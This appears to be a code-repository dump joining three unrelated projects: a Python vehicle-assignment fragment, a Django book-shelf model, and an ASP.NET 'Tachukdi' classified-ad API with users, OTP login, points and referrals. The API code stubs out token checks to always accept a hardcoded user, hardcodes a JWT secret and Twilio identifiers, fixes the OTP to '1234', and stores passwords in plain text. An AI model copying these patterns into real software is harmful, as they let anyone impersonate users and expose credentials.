self.dynamic_table = self._create_loss_table() # rows = costumers, cols = vehicles
self._placement = np.zeros(int(sum(vehicles)))
self._randomize_choices()
self._environment = self._set_environment(len(costumers), int(sum(vehicles)))
def _set_environment(self, costumer_num, vehicles_num):
"""
sets the class environment - creates the pairs for the local search
:param costumer_num: number of costumers that arrived
:param vehicles_num: number of vehicles in the rental
:return: the costumer to costumer pair
"""
env = list(itertools.combinations(range(costumer_num), 2))
# add vehicles that were not given to a costumer
for i in range(costumer_num):
for j in range(costumer_num, vehicles_num):
env.append((i, j))
return sorted(env, key=lambda m: m[0])
def _create_loss_table(self):
"""
creates the loss table between users that arrived and vehicles that are in the rental
:return: loss table
"""
table = np.ones((len(self._costumers), len(self._vehicles))) * np.inf
not_in_stock = set(np.where(self._vehicles == 0)[0])
for i in range(len(self._costumers)):
c = self._costumers[i]
for j in range(len(self._vehicles)):
if j not in not_in_stock:
table[i][j] = self._factory.get_costumer_match(self._factory.vehicles[j], c.fill_questionnaire(), c.age)
return table
def _randomize_choices(self):
"""
assign vehicles to costumers - first try the optimal assignment , otherwise randomize
:return: nothing
"""
in_stock = set(np.where(self._vehicles > 0)[0])
for i in range(len(self._placement)):
if i >= len(self._costumers):
v = random.sample(in_stock, 1)[0]
else:
v = np.argmin(self.dynamic_table[i])
if v not in in_stock:
v = random.sample(in_stock, 1)[0]
self._placement[i] = v
self._vehicles[v] -= 1
if self._vehicles[v] <= 0:
in_stock.remove(v)
def _swap(self, action):
"""
swaps vehicles between two costumers
:param action: indexes of the two costumers
:return: nothing
"""
tmp = self._placement[action[0]]
self._placement[action[0]] = self._placement[action[1]]
self._placement[action[1]] = tmp
def update_excel(self, writer):
"""
updates the excel with the final results
:param writer: excel writer
:return: nothing
"""
assignment_data = []
for i in range(len(self._costumers)):
assignment_data.append([self._costumers[i].id, self._factory.vehicles[int(self._placement[i])].id])
df_assignment = pd.DataFrame(assignment_data, columns=assignment_cols)
write_to_excel(writer, vehicles_assignment_sheet, df_assignment)
def assign_vehicles_to_costumers(self, buy_algorithm, assign_algorithm):
"""
perform the swap assignments
:param buy_algorithm: algorithm that was used to purchase the vehciles
:param assign_algorithm: local search algorithm
:return: nothing
"""
domain = tuple((self._placement, self.dynamic_table))
local_search_env = local_search.local_search(self._environment, domain, second_problem_evaluation)
search_algorithm = local_search_env.get_algorithm(assign_algorithm)
losses = [np.sum([self.dynamic_table[i][int(self._placement[i])] for i in range(len(self._costumers))])]
for i in range(swaps_num):
action = search_algorithm()
reward = second_problem_evaluation(action, domain)
if reward >= 0:
losses.append(losses[-1])
continue
losses.append(losses[-1] + reward)
self._swap(action)
plt.plot(losses, label=f"{buy_algorithm} + {assign_algorithm}")
plt.title("Vehicle match loss over swaps")
plt.xlabel("#swaps")
plt.ylabel("loss")
plt.legend()
plt.savefig(os.path.join(get_output_path(), assignment_figure_name), dpi=200)
plt.close()
|
e862d88a1616b436b7361b9adefaffcb772bb54b
|
[
"Python"
] | 9 |
Python
|
amitchen93/AI-Project---Reinforcement-Learning-
|
ed27f2e3c7d6c86c07c8220a542b94de9928e67a
|
71acf1adf65a21dbcdecb3a4b07eb91cfacaf2f0
|
refs/heads/master
|
<file_sep>from django.db import models
from django.contrib.auth.models import User
import uuid
class Book(models.Model):
user = models.ForeignKey(User)
author_details = models.CharField(max_length=200)
title = models.CharField(max_length=200)
isbn = models.CharField(max_length=13)
publisher = models.CharField(max_length=200)
date_published = models.DateField(null=True, blank=True)
rating = models.PositiveSmallIntegerField() # rating from 0-5
bookshelfs = models.ManyToManyField("Bookshelf", blank=True)
read = models.BooleanField()
series_details = models.CharField(max_length=200)
pages = models.PositiveIntegerField(null=True, blank=True)
notes = models.TextField()
list_price = models.PositiveIntegerField(null=True, blank=True)
ANTHOLOGY_CHOICES = [
('0',"No."),
('1',"Yes, all by the same author."),
('2',"Yes, different authors.")
]
anthology = models.BooleanField()
location = models.CharField(max_length=200)
read_start = models.DateField(null=True, blank=True)
read_end = models.DateField(null=True, blank=True)
book_format = models.CharField(max_length=200)
signed = models.BooleanField()
loaned_to = models.CharField(max_length=200)
anthology_titles = models.CharField(max_length=400)
description = models.TextField()
genre = models.CharField(max_length=200)
date_added = models.DateTimeField()
last_update_date = models.DateTimeField()
uuid = models.UUIDField(default=uuid.uuid4)
class Bookshelf(models.Model):
export_id = models.PositiveIntegerField()
name = models.CharField(max_length=200)
<file_sep># dstrbooks
The Distributed Book Shelf
<file_sep># -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
from django.conf import settings
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Book',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('uuid', models.UUIDField()),
('author_details', models.CharField(max_length=200)),
('title', models.CharField(max_length=200)),
('isbn', models.CharField(max_length=13)),
('publisher', models.CharField(max_length=200)),
('date_published', models.DateField(null=True, blank=True)),
('rating', models.PositiveSmallIntegerField()),
('read', models.BooleanField()),
('series_details', models.CharField(max_length=200)),
('pages', models.PositiveIntegerField(null=True, blank=True)),
('notes', models.TextField()),
('list_price', models.PositiveIntegerField(null=True, blank=True)),
('anthology', models.BooleanField()),
('location', models.CharField(max_length=200)),
('read_start', models.DateField(null=True, blank=True)),
('read_end', models.DateField(null=True, blank=True)),
('book_format', models.CharField(max_length=200)),
('signed', models.BooleanField()),
('loaned_to', models.CharField(max_length=200)),
('anthology_titles', models.CharField(max_length=400)),
('description', models.TextField()),
('genre', models.CharField(max_length=200)),
('date_added', models.DateTimeField()),
('last_update_date', models.DateTimeField()),
],
),
migrations.CreateModel(
name='Bookshelf',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('export_id', models.PositiveIntegerField()),
('name', models.CharField(max_length=200)),
],
),
migrations.AddField(
model_name='book',
name='bookshelfs',
field=models.ManyToManyField(to='books.Bookshelf', blank=True),
),
migrations.AddField(
model_name='book',
name='user',
field=models.ForeignKey(to=settings.AUTH_USER_MODEL),
),
]
|
03700f8bda4cbb6dcfef93af11feee67633cd0e6
|
[
"Markdown",
"Python"
] | 3 |
Python
|
ahanse/dstrbooks
|
797b759ed611efd47de58e2cdb83c0d7cb0e43db
|
3a6769d9d5086a3a6042140c93bfc46b79f96648
|
refs/heads/master
|
<repo_name>nipeshshah/Tachukdi<file_sep>/Tachukdi/Framework/BlockHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using Tachukdi.Models;
namespace Tachukdi.Framework
{
public class BlockHelper: BaseHelper
{
internal List<BlockCityModal> GetBlockCityListWithCount()
{
List<BlockCityModal> blockCities = _db.GetBlockCityListWithCount();
return blockCities;
}
internal List<BlockCategoryModal> GetBlockCategoryListWithCount(int cityid)
{
List<BlockCategoryModal> blockCategories = _db.GetBlockCategoryListWithCount(cityid);
return blockCategories;
}
internal List<BlockModal> GetBlockList(int cityid, int catid)
{
List<BlockModal> blocks = _db.GetBlockList(cityid, catid);
return blocks;
}
internal bool AddNewBlock(string mobileno, BlockRequestModal block)
{
_db.AddNewBlock(mobileno, block);
return true;
}
}
}
<file_sep>/Tachukdi/Controllers/BlockController.cs
using System.Collections.Generic;
using System.Web.Http;
using System.Web.Http.Cors;
using Tachukdi.Models;
namespace Tachukdi.Controllers
{
[EnableCors(origins: "*", headers: "*", methods: "*")]
public class BlockController : BaseController
{
[Route("api/blocks/city")]
public IHttpActionResult GetBlockCities()
{
List<BlockCityModal> blockCities = _helpers.BlockHelper.GetBlockCityListWithCount();
return Ok(blockCities);
}
[Route("api/blocks/city/{cityid}")]
public IHttpActionResult GetBlockInCity(int cityid)
{
List<BlockCategoryModal> blockCities = _helpers.BlockHelper.GetBlockCategoryListWithCount(cityid);
return Ok(blockCities);
}
[Route("api/blocks/city/name/{cityname}")]
public IHttpActionResult GetBlockInCity(string cityname)
{
CityModal cityModal = _helpers.ConfigHelper.GetCityByCityName(cityname);
if(cityModal != null)
{
List<BlockCategoryModal> blockCities = _helpers.BlockHelper.GetBlockCategoryListWithCount(cityModal.CityId);
return Ok(blockCities);
}
else
{
return Ok();
}
}
[Route("api/blocks/city/{cityid}/cat/{catid}")]
public IHttpActionResult GetBlockInCityInCat(int cityid, int catid)
{
List<BlockModal> blockCities = _helpers.BlockHelper.GetBlockList(cityid, catid);
return Ok(blockCities);
}
[Route("api/blocks/submit")]
public IHttpActionResult AddNewBlock(BlockRequestModal block)
{
if(ExtractToken(User))
{
_helpers.BlockHelper.AddNewBlock(_auth.userid, block);
return Ok(true);
}
else
{
return Unauthorized();
}
}
}
}
<file_sep>/Tachukdi/Framework/UserHelper.cs
using System;
using Tachukdi.Models;
using Twilio;
using Twilio.Rest.Api.V2010.Account;
namespace Tachukdi.Framework
{
public class BaseHelper
{
protected MoqDataHelper _db { get; set; }
public BaseHelper()
{
_db = new MoqDataHelper();
}
}
public class UserHelper : BaseHelper
{
public string CreateUser(string email, string mobileno, string password, string displayname, string referredbyCode, out string otp)
{
//string otp = "";
Random random = new Random();
otp = random.Next(100000, 999999).ToString();
otp = "1234";
string referralcode = "RFCA" + random.Next(11, 50) + "-" + random.Next(51, 99);
_db.CreateNewUser(email, mobileno, password, displayname, otp, referralcode, referredbyCode, DateTime.UtcNow);
return mobileno;
}
public UserModal LoginUserByIdPass(string mobileno, string password)
{
UserModal user = _db.GetUserByIdPass(mobileno, password);
return user;
}
public bool SendOTP(string mobileno, string otp)
{
return true;
//TODO
string accountSid = "AC46507782a74540ce8fbb3ca78cc37350";
string authToken = "f<PASSWORD>";
TwilioClient.Init(accountSid, authToken);
var message = MessageResource.Create(
body: $"Hello to 1 Rupee Advertise. Your OPT is {otp}. Please verify to continue further.",
from: new Twilio.Types.PhoneNumber("+17032913711"),
to: new Twilio.Types.PhoneNumber("+918976843988")
);
//Send otp to mobileno using sms.
return true;
}
public bool VerifyOTP(string mobileno, string otp)
{
bool IsVerified = _db.VerifyOTP(mobileno, otp);
return IsVerified;
}
public bool IsUserExists(string mobileno)
{
bool IsActiveUserExists = _db.IsUserExists(mobileno, true);
return IsActiveUserExists;
}
public bool IsInActiveUserExists(string mobileno)
{
bool IsUserExists = _db.IsUserExists(mobileno, false);
return IsUserExists;
}
internal bool ActivateUser(string mobileno, string password)
{
bool IsUserActivated = _db.ActivateUser(mobileno, password);
return IsUserActivated;
}
internal UserModal GetUserProfile(string mobileno)
{
UserModal user = _db.GetUserByMobileNo(mobileno);
return user;
}
internal bool UpdateUserProfile(UserModal userModal)
{
return _db.UpdateUserProfile(userModal);
}
}
}
<file_sep>/Tachukdi/Controllers/AuthController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using Microsoft.IdentityModel.Tokens;
using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using System.Text;
using Tachukdi.Models;
namespace Tachukdi.Controllers
{
public class AuthController : ApiController
{
[HttpGet]
[Route("api/auth")]
public string GetToken(UserModal user)
//public Object GetToken(string mobileno, string email, string password)
{
string email = user.Email;
string mobileno = user.mobileno;
string key = "my_secret_key_12345"; //Secret key which will be used later during validation
var issuer = "http://mysite.com"; //normally this will be your site URL
var securityKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(key));
var credentials = new SigningCredentials(securityKey, SecurityAlgorithms.HmacSha256);
//Create a List of Claims, Keep claims name short
var permClaims = new List<Claim>();
permClaims.Add(new Claim(JwtRegisteredClaimNames.Jti, Guid.NewGuid().ToString()));
permClaims.Add(new Claim("valid", user.id.ToString()));
permClaims.Add(new Claim("useremail", email));
permClaims.Add(new Claim("userid", mobileno));
permClaims.Add(new Claim("name", user.DisplayName));
//Create Security Token object by giving required parameters
var token = new JwtSecurityToken(issuer,
issuer, //Audience
permClaims,
expires: DateTime.Now.AddDays(1),
signingCredentials: credentials);
var jwt_token = new JwtSecurityTokenHandler().WriteToken(token);
return jwt_token;
}
}
}
<file_sep>/Tachukdi/Framework/MoqDataHelper.cs
using System;
using System.Collections.Generic;
using System.Linq;
using Tachukdi.Models;
using Tachukdi.Models.DBM;
namespace Tachukdi.Framework
{
public interface IDataHelper
{
}
public class MoqDataHelper : IDataHelper
{
tachukdiEntities _db = new tachukdiEntities();
internal List<BlockCityModal> GetBlockCityListWithCount ()
{
DateTime today = DateTime.UtcNow.Date;
var blockcities =
_db.TblBlocks
.Where(t => t.StartDate <= today && t.EndDate >= today)
.GroupBy(t => t.CityId).Select(x => new BlockCityModal()
{
City = _db.TblCities.Where(t => t.Id == x.Key).FirstOrDefault().CityName,
BlockCount = x.Count(),
CityId = x.Key.Value
}).OrderBy(t => t.City);
return blockcities.ToList();
}
internal List<BlockModal> GetBlockList(int cityid, int catid)
{
DateTime today = DateTime.UtcNow.Date;
List<BlockModal> blockcates =
_db.TblBlocks
.Where(t => t.StartDate <= today && t.EndDate >= today
&& t.CityId == cityid && t.CategoryId == catid)
.Select(x => new BlockModal()
{
Content = x.Content,
MobileNo = x.MobileNo,
CreatedDate = x.CreatedDate.Value
}).OrderBy(t => t.CreatedDate).ToList();
return blockcates;
}
internal void AddNewBlock(string mobileno, BlockRequestModal block)
{
int PointId = AddPoint(mobileno, "Register new block on " + DateTime.UtcNow,
-1 * Convert.ToInt32(
Math.Ceiling(
(block.EndDate - block.StartDate).TotalDays
) + 1
));
TblBlock tblBlock = new TblBlock()
{
CategoryId = block.CatId,
CityId = block.CityId,
CreatedDate = DateTime.UtcNow,
Title = block.Title,
Content = block.Content,
StartDate = block.StartDate,
EndDate = block.EndDate,
MobileNo = mobileno,
UserId = _db.TblUsers.Where(t => t.MobileNo == mobileno).FirstOrDefault().Id,
IsActive = true,
PointTransactionId = PointId
};
_db.TblBlocks.Add(tblBlock);
_db.SaveChanges();
}
internal List<BlockCategoryModal> GetBlockCategoryListWithCount(int cityid)
{
DateTime today = DateTime.UtcNow.Date;
List<BlockCategoryModal> blockcates =
_db.TblBlocks
.Where(t => t.StartDate <= today && t.EndDate >= today && t.CityId == cityid)
.GroupBy(t => t.CategoryId).Select(x => new BlockCategoryModal()
{
CatId = x.Key.Value,
CityId = cityid,
Category = _db.TblCategories.Where(t => t.Id == x.Key).FirstOrDefault().Title,
BlockCount = x.Count()
}).OrderBy(t => t.Category).ToList();
return blockcates;
}
internal void CreateNewUser(string email, string mobileNo, string password, string displayname, string otp,
string referralcode, string referredbyCode, DateTime registrationDate)
{
string referredByMobile = string.Empty;
if(referredbyCode.Length > 0)
{
TblUser referredByUser = _db.TblUsers.Where(t => t.ReferralCode == referredbyCode).FirstOrDefault();
referredByMobile = referredByUser != null ? referredByUser.MobileNo : string.Empty;
}
TblUser user = new TblUser()
{
Email = email,
MobileNo = mobileNo,
Name = displayname,
Password = <PASSWORD>,
OTP = otp,
ReferralCode = referralcode,
ReferredByMobile = referredByMobile,
Status = "InActive",
JoiningDate = registrationDate
};
_db.TblUsers.Add(user);
_db.SaveChanges();
}
internal int GetTotalPontBalance(string mobileno)
{
UserModal user = GetUserByMobileNo(mobileno);
int? totalpoints = _db.TblPoints.Where(t => t.UserId == _db.TblUsers.Where(x => x.MobileNo == mobileno).FirstOrDefault().Id).Sum(t => t.Points);
return totalpoints.HasValue ? totalpoints.Value : 0;
}
internal int AddPoint(string mobileno, string description, int points)
{
UserModal user = GetUserByMobileNo(mobileno);
TblPoint tblPoint = new TblPoint()
{
TransactionDate = DateTime.UtcNow,
UserId = _db.TblUsers.Where(x => x.MobileNo == mobileno).FirstOrDefault().Id,
Description = description,
Points = points
};
_db.TblPoints.Add(tblPoint);
_db.SaveChanges();
return tblPoint.Id;
}
internal List<PointTransactionModal> GetTopNPointTransaction(string mobileno, int topCount)
{
UserModal user = GetUserByMobileNo(mobileno);
List<TblPoint> points = _db.TblPoints.OrderByDescending(t => t.TransactionDate)
.Where(t => t.UserId == _db.TblUsers.Where(x => x.MobileNo == mobileno).FirstOrDefault().Id)
.Take(topCount)
.ToList();
List<PointTransactionModal> pointTransactions = points.Select(t => new PointTransactionModal()
{
TransactionDate = t.TransactionDate,
Description = t.Description,
Points = t.Points
}).ToList();
return pointTransactions;
}
internal List<ReferralUserModal> GetAllReferrals(string mobileno)
{
List<TblUser> tblUsers = _db.TblUsers.Where(t => t.ReferredByMobile == mobileno).ToList();
List<ReferralUserModal> referralUsers = tblUsers.Select(t => new ReferralUserModal()
{
DisplayName = t.Name,
JoinedOn = t.JoiningDate
}).ToList();
return referralUsers;
}
internal List<CategoryModal> GetAllCategories()
{
List<TblCategory> tblCities = _db.TblCategories.ToList();
List<CategoryModal> cityModals = tblCities.Select(t => new CategoryModal()
{
CateId = t.Id,
CateName = t.Title
}).ToList();
return cityModals;
}
internal bool VerifyOTP(string mobileno, string otp)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == mobileno && t.OTP == otp).FirstOrDefault();
if(tblUser != null)
{
return true;
}
else
{
return false;
}
}
internal bool IsUserExists(string mobileno, bool onlyactive)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == mobileno).FirstOrDefault();
if(tblUser != null)
{
if(onlyactive && tblUser.Status == "Active")
{
return true;
}
if(!onlyactive && tblUser.Status == "InActive")
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
internal bool UpdateUserProfile(UserModal userModal)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == userModal.mobileno).FirstOrDefault();
if(tblUser != null)
{
tblUser.Email = userModal.Email;
_db.SaveChanges();
return true;
}
else
{
return false;
}
}
internal UserModal GetUserByMobileNo(string mobileno)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == mobileno).FirstOrDefault();
if(tblUser != null)
{
UserModal userModal = new UserModal();
userModal.mobileno = tblUser.MobileNo;
userModal.ReferredByMobile = tblUser.ReferredByMobile;
userModal.ReferralCode = tblUser.ReferralCode;
return userModal;
}
else
{
return null;
}
}
internal bool ActivateUser(string mobileno, string password)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == mobileno).FirstOrDefault();
if(tblUser != null)
{
tblUser.Status = "Active";
tblUser.OTP = "";
tblUser.Password = <PASSWORD>;
_db.SaveChanges();
return true;
}
else
{
return false;
}
}
internal UserModal GetUserByIdPass(string mobileno, string password)
{
TblUser tblUser = _db.TblUsers.Where(t => t.MobileNo == mobileno && t.Password == password).FirstOrDefault();
if(tblUser != null)
{
UserModal userModal = new UserModal();
userModal.mobileno = tblUser.MobileNo;
userModal.ReferredByMobile = tblUser.ReferredByMobile;
userModal.DisplayName = tblUser.Name;
userModal.Email = tblUser.Email;
userModal.City = tblUser.City;
return userModal;
}
else
{
return null;
}
}
internal List<CityModal> GetAllCities()
{
List<TblCity> tblCities = _db.TblCities.ToList();
List<CityModal> cityModals = tblCities.Select(t => new CityModal()
{
CityId = t.Id,
CityName = t.CityName,
State = t.StateName
}).ToList();
return cityModals;
}
internal CityModal GetCityByCityName(string cityname)
{
TblCity tblCity = _db.TblCities.Where(t => t.CityName == cityname).FirstOrDefault();
CityModal cityModal = new CityModal()
{
CityId = tblCity.Id,
CityName = tblCity.CityName,
State = tblCity.StateName
};
return cityModal;
}
}
}
<file_sep>/Tachukdi/Controllers/UserController.cs
using System.Web.Http;
using Tachukdi.Models;
namespace Tachukdi.Controllers
{
[AllowAnonymous]
public class UserController : BaseController
{
//[Route("api/user/getname")]
//public String GetName1()
//{
// ExtractToken(User);
// if (User.Identity.IsAuthenticated)
// {
// var identity = User.Identity as ClaimsIdentity;
// if (identity != null)
// {
// IEnumerable<Claim> claims = identity.Claims;
// }
// return "Valid";
// }
// else
// {
// return "Invalid";
// }
//}
[AllowAnonymous]
[Route("api/user/join")]
public IHttpActionResult Register(RegisterRequestModal registerUser)
{
//Check if User Exists
//if User Not exists then create InActiveUserWithCode
//send OTP To user
if(!_helpers.UserHelper.IsUserExists(registerUser.mobileno))
{
_helpers.UserHelper.CreateUser(registerUser.email, registerUser.mobileno, registerUser.password,
registerUser.displayname, registerUser.referredbyCode, out string otp);
_helpers.UserHelper.SendOTP(registerUser.mobileno, otp);
}
return Ok();
}
[Route("api/user/otpconfirm")]
[AllowAnonymous]
public IHttpActionResult VerifyOTP(string mobileno, string otp, string password)
{
//if User exists and is InActiveUserWithCode
//Validate OTP
//Update user to Active
if(_helpers.UserHelper.IsInActiveUserExists(mobileno))
{
if(_helpers.UserHelper.VerifyOTP(mobileno, otp))
{
_helpers.UserHelper.ActivateUser(mobileno, password);
UserModal user = _helpers.UserHelper.GetUserProfile(mobileno);
_helpers.PointHelper.AddPoint(mobileno, "Registration", 100);
if(user.ReferredByMobile.Length > 0)
{
_helpers.PointHelper.AddPoint(user.ReferredByMobile, "Referral Points for " + mobileno, 5);
}
}
}
return Ok();
}
[Route("api/user/login")]
[AllowAnonymous]
public IHttpActionResult Login(string mobileno, string password)
{
//if user exists and is active
//verify username and password
//if found return success
if(_helpers.UserHelper.IsUserExists(mobileno))
{
UserModal user = _helpers.UserHelper.LoginUserByIdPass(mobileno, password);
if(user != null)
{
AuthController controller = new AuthController();
return Ok(new {
userid = user.id,
mobileno = user.mobileno,
city = user.City,
token = controller.GetToken(user)
});
}
else
{
return Unauthorized();
}
}
else
{
return BadRequest("Invalid User Id or Password");
}
}
//[Authorize]
[Route("api/user/profile")]
public IHttpActionResult UserProfile()
{
if(ExtractToken(User))
{
//if user exists and is active
//verify username and password
//if found return success
if(_helpers.UserHelper.IsUserExists(_auth.userid))
{
UserModal userentity = _helpers.UserHelper.GetUserProfile(_auth.userid);
return Ok(userentity);
}
}
return Unauthorized();
}
//[Authorize]
[Route("api/user/updateprofile")]
public IHttpActionResult UpdateUserProfile()
{
//if user exists and is active
//verify username and password
//if found return success
if(ExtractToken(User))
{
if(_helpers.UserHelper.IsUserExists(_auth.userid))
{
UserModal userModal = _helpers.UserHelper.GetUserProfile(_auth.userid);
_helpers.UserHelper.UpdateUserProfile(userModal);
return Ok(true);
}
else
{
return BadRequest("User Not Found");
}
}
return Unauthorized();
}
}
}
<file_sep>/Tachukdi/Controllers/BaseController.cs
using Tachukdi.Framework;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using System.Security.Claims;
using System.Security.Principal;
namespace Tachukdi.Controllers
{
public class BaseController : ApiController
{
protected helpers _helpers { get; set; }
protected AuthenticatedTokenModel _auth { get; set; }
public BaseController()
{
_helpers = new helpers();
}
protected bool ExtractToken(IPrincipal user)
{
_auth = new AuthenticatedTokenModel();
_auth.userid = "8976843988";
_auth.name = "Demo User";
_auth.email = "<EMAIL>";
return true;
if (User.Identity.IsAuthenticated)
{
var identity = User.Identity as ClaimsIdentity;
if (identity != null)
{
IEnumerable<Claim> claims = identity.Claims;
_auth = new AuthenticatedTokenModel();
_auth.userid = identity.Claims.FirstOrDefault(c => c.Type == "userid").Value;
_auth.name = identity.Claims.FirstOrDefault(c => c.Type == "name").Value;
_auth.email = identity.Claims.FirstOrDefault(c => c.Type == "useremail").Value;
}
return true;
}
else
{
throw new System.UnauthorizedAccessException();
}
}
}
public class AuthenticatedTokenModel
{
public string name { get; set; }
public string userid { get; set; }
public string email { get; set; }
}
}
<file_sep>/Tachukdi/Controllers/HomeController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace Tachukdi.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
//var d = System.IO.File.ReadAllText(@"E:\Organized D\Development\TravelProject\Copier\mvcversion\2\mvcversion62.txt");
//byte[] b = Convert.FromBase64String(d);
//System.IO.File.WriteAllBytes(@"E:\Organized D\Development\TravelProject\Copier\mvcversion\2\mvcversion62C.txt", b);
return View();
}
public ActionResult About()
{
ViewBag.Message = "Your application description page.";
return View();
}
public ActionResult Contact()
{
ViewBag.Message = "Your contact page.";
return View();
}
}
}
<file_sep>/TachukdiWeb/Scripts/JSModals.js
//Modals
function BlockCityModal() {
var self = this;
self.CityId = ko.observable(0);
self.City = ko.observable('');
self.BlockCount = ko.observable(0);
return self;
}
function BlockCategoryModal() {
var self = this;
self.CityId = ko.observable(0);
self.CatId = ko.observable(0);
self.BlockCount = ko.observable(0);
self.Category = ko.observable('');
return self;
}
function BlockModal() {
var self = this;
self.IsLogin = ko.observable(false);
self.Content = ko.observable('');
self.MobileNo = ko.observable('');
self.CreatedDate = ko.observable('');
return self;
}
function PointTransactionModal() {
var self = this;
self.TransactionDate = ko.observable('');
self.Description = ko.observable('');
self.Points = ko.observable(0);
return self;
}
function ReferralUserModal() {
var self = this;
self.DisplayName = ko.observable('');
self.JoinedOn = ko.observable('');
self.Mobile = ko.observable('');
return self;
}
function CategoryModal() {
var self = this;
self.CateId = ko.observable(0);
self.CateName = ko.observable('');
}
function CityModal() {
var self = this;
self.CityId = ko.observable(0);
self.CityName = ko.observable('');
self.State = ko.observable('');
}
<file_sep>/Tachukdi/Controllers/PointController.cs
using Tachukdi.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
namespace Tachukdi.Controllers
{
public class PointController : BaseController
{
[HttpGet]
[Route("api/point/total")]
public IHttpActionResult TotalPoints()
{
if (ExtractToken(User))
{
int pointBalance = _helpers.PointHelper.GetTotalPontBalance(_auth.userid);
return Ok(pointBalance);
}
else
return BadRequest();
}
[HttpGet]
[Route("api/point/topten")]
public IHttpActionResult TopTenPointTransactions()
{
if (ExtractToken(User))
{
List<PointTransactionModal> transactions = _helpers.PointHelper.GetTopNTransaction(_auth.userid, 10);
return Ok(transactions);
}
else
return BadRequest();
}
//public IHttpActionResult AddPoint()
//{
// _helpers.PointHelper.AddPoint(_auth.userid, "Description", 1500);
// return Ok();
//}
//public IHttpActionResult DeductPoint()
//{
// return Ok();
//}
}
}
<file_sep>/Tachukdi/Controllers/ReferralController.cs
using Tachukdi.Models;
using System.Collections.Generic;
using System.Web.Http;
namespace Tachukdi.Controllers
{
public class ReferralController : BaseController
{
[HttpGet]
[Route("api/refer/myid")]
public IHttpActionResult GetMyReferralId()
{
if (ExtractToken(User))
{
string referralcode = _helpers.ReferralHelper.GetMyReferralId(_auth.userid);
return Ok(new { ReferralCode = referralcode, OtherReferralCode = _auth.userid });
}
else
{
return Unauthorized();
}
}
[HttpGet]
[Route("api/refer/all")]
public IHttpActionResult GetMyReferrals()
{
if (ExtractToken(User))
{
List<ReferralUserModal> referralUsers = _helpers.ReferralHelper.GetMyReferrals(_auth.userid);
return Ok(referralUsers);
}
else
return Unauthorized();
}
}
}
<file_sep>/Tachukdi/Framework/helpers.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Tachukdi.Framework
{
public class helpers
{
private UserHelper _userhelper;
public UserHelper UserHelper
{
get
{
if (_userhelper == null)
_userhelper = new UserHelper();
return _userhelper;
}
set
{
_userhelper = value;
}
}
private ConfigHelper _confighelper;
public ConfigHelper ConfigHelper
{
get
{
if (_confighelper == null)
_confighelper = new ConfigHelper();
return _confighelper;
}
set
{
_confighelper = value;
}
}
private ReferralHelper _referralHelper;
public ReferralHelper ReferralHelper
{
get
{
if (_referralHelper == null)
_referralHelper = new ReferralHelper();
return _referralHelper;
}
set
{
_referralHelper = value;
}
}
private BlockHelper _blockHelper;
public BlockHelper BlockHelper
{
get
{
if (_blockHelper == null)
_blockHelper = new BlockHelper();
return _blockHelper;
}
set
{
_blockHelper = value;
}
}
private MoqDataHelper _dataHelper;
public MoqDataHelper DataHelper
{
get
{
if (_dataHelper == null)
_dataHelper = new MoqDataHelper();
return _dataHelper;
}
set
{
_dataHelper = value;
}
}
private PointHelper _pointHelper;
public PointHelper PointHelper
{
get
{
if (_pointHelper == null)
_pointHelper = new PointHelper();
return _pointHelper;
}
set
{
_pointHelper = value;
}
}
}
}
<file_sep>/TachukdiWeb/Scripts/MainScript.js
var baseUrl = 'http://localhost:51953/';
var apiurls = {
AuthToken: "api/auth",
Block: {
City: "api/blocks/city",
Cats: "api/blocks/city",
Blocks: "api/blocks/city/",//{cityid}/cat/{catid}",
AddBlock: "api/blocks/submit"
},
Config: {
Cats: "api/config/cats",
City: "api/config/cites"
},
Point: {
Total: "api/point/total",
TopTen: "api/point/topten"
},
Refer: {
MyId: "api/refer/myid",
Referrals: "api/refer/all"
},
User: {
Join: "api/user/join",
ConfirmOPT: "api/user/otpconfirm",
Login: "api/user/login",
Profile: "api/user/profile",
UpdateProfile: "api/user/updateprofile"
}
};
var services =
{
getServiceWithOutToken: function (url, callback, errorCallBack) {
//alert(baseUrl + url);
var settings = {
"url": baseUrl + url,
"method": "GET",
"timeout": 0,
error: function (err) {
//if (err.status == 401) {
// window.location.href = '/auth';
//}
if (errorCallBack == undefined) {
ons.notification.toast(err.responseJSON.message, {
timeout: 2000
});
}
else
errorCallBack(err);
},
success: callback
};
$.ajax(settings);
},
getServiceWithToken: function (url, callback, errorCallBack) {
//alert(baseUrl + url);
var settings = {
"url": baseUrl + url,
"method": "GET",
"headers": {
'authorization': `bearer ${loginconfiguration.token}`,
},
"timeout": 0,
error: function (err) {
//if (err.status == 401) {
// window.location.href = '/auth';
//}
if (errorCallBack == undefined) {
ons.notification.toast(err.responseJSON.message, {
timeout: 2000
});
}
else
errorCallBack(err);
},
success: callback
};
$.ajax(settings);
},
postServiceWithToken: function (url, formData, callback, errorCallBack) {
//alert(baseUrl + url);
var settings = {
"url": baseUrl + url,
"method": "POST",
//"headers": {
// 'authorization': `bearer ${loginconfiguration.token}`,
//},
"timeout": 0,
"processData": false,
"contentType": false,
"headers": {
"Content-Type": "application/json"
},
"data": formData,
error: function (err) {
if (errorCallBack == undefined) {
ons.notification.toast(err.responseJSON.message, {
timeout: 2000
});
}
else
